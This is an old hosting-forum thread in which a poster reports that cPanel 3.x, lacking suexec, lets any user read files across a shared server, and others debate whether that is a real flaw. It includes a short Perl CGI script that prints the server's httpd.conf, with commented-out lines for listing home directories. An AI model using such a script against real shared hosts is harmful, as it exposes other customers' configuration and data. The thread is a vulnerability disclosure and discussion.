ATTENTION!

CLOSELY(ATTENTIVELY) READ THIS MESSAGE!


YESTERDAY OUR PROGRAMMERS HAVE DETECTED In cpanel 3.x the big error in the system of safety!


===

Any user who is registered on the server on which it is installed cpanel 3.x can to view and copy any file in any folder on this server. :bawling:

==



The Example:


Having written such script, and having made active it(him), the user can view the information contained for the provider on the server in the file /usr/local/apache/conf/httpd.conf:



#!/usr/local/bin/perl

###########################Çàãðóçêà ìîäóëåé####################################
use strict; # Íèêîãäà íå çàáûâàòü, èçáàâëÿåò îò ìíîãèõ îøèáîê
use CGI qw(:standard); # Çà÷åì èçîáðåòàòü âåëîñèïåä?
use CGI::Carp qw(fatalsToBrowser); # Âñå îøèáêè â áðîóçåð
my $cgi = new CGI;
print $cgi->header('text/html');
$/ = undef;
open(ff, "< /usr/local/apache/conf/httpd.conf") or die "$!";
my $var = <ff>;
close(ff);
print $var;
#opendir(DIR, "/home") || die "can't opendir: $!";
#my @dots = grep {-d "/home/$_" } readdir(DIR);
#closedir DIR;

#print "$_\n" for @dots;

#open(FILE, "> ../****.txt") or die "$!";
#print FILE $var;
#close(FILE);






Having written such simple script (him have written for 1 minute!) such big error in the system of safety is detected.

The error contains in suexec, she(it) gives right Nobody/nobody for any user.



Cpanel it is necessary for developers to find and correct an error immediately.



Excuse for bad English, I while very badly know it(him).

It is normal for a UNIX system that you can read most of the files. A real security problem is, when you can overwrite a file like passwd.
If you want to have a secure system, you shouldn't install a contol panel and thinks it's done.

- domi

Originally posted by Voodoo Web
It is normal for a UNIX system that you can read most of the files. A real security problem is, when you can overwrite a file like passwd.

Are you serious? :eek:

What does the script do after reading the httpd.conf and the /home directory? In genera you can do this on any Linux system (at least on any I have been on), so this can not be the point. However, I am not sure what the last part of the script does (now if it had been in PHP).
Gary

Do you mean "that's not bug -- that's feature"??? Wow... :eek:
It will be much more secure if Apache being run with that user ID whom site it services. For excample: I have server www.pooke.com. My username at server is 'pooke'. And Apache must be run with rigths of 'pooke' user. But Cpanel doesn't install SuExec, and Apache being run with rights of 'nobody' user from 'nobody' group. That's not secure.

Well, any takers ???